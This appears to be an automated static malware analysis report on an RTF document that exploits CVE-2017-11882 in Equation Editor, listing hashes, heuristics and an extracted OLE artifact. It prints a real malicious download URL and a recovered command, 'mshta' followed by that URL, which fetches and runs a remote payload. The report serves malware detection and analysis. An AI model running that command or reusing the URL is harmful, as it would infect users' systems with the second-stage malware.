Malicious RTF — malware analysis report

Static analysis result for SHA-256 1c28178ae3b5749d…

MALICIOUS

RTF

7.9 KB Authoring application: Riched20 6.3.9600 First seen: 2017-12-08
MD5: 6c9620061c4ac7fd57acd879a62d6585 SHA-1: 66cb82c979be5f0dde557edde44bb76a45159727 SHA-256: 1c28178ae3b5749d7052ea8365f54337c9e55dbec6549e0a05a2e17e2d6fda92
382 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains an embedded OLE object specifically identified as Equation Editor, which is known to be vulnerable to CVE-2017-11882. This exploit is used to execute shellcode that downloads a second-stage payload from the URL http://gamesarena.gdn/hta/BFOQ.hta. The presence of the exploit and the download URL strongly indicate a malicious intent to compromise the user's system.

Heuristics 9

  • Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR
    Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
  • CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882
    Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
  • ClamAV: Rtf.Exploit.CVE_2017_11882-6584355-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Rtf.Exploit.CVE_2017_11882-6584355-1
  • Equation Editor object class critical RTF_OBJCLASS_EQUATION
    Object class 'equation.3' references Equation Editor
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • OLE object data medium RTF_OBJDATA
    RTF contains 1 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://gamesarena.gdn/hta/BFOQ.hta In RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off0000010b.bin rtf-objdata-decoded RTF \objdata at offset 0x10B 3546 bytes
SHA-256: 849b3795dd95e5710458808066b56f7daa5fce3bbfc9ed08530109e500b5a240
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://gamesarena.gdn/hta/BFOQ.hta Static shellcode analysis recovered command string(s): mshta http://gamesarena.gdn/hta/BFOQ.hta &AA C

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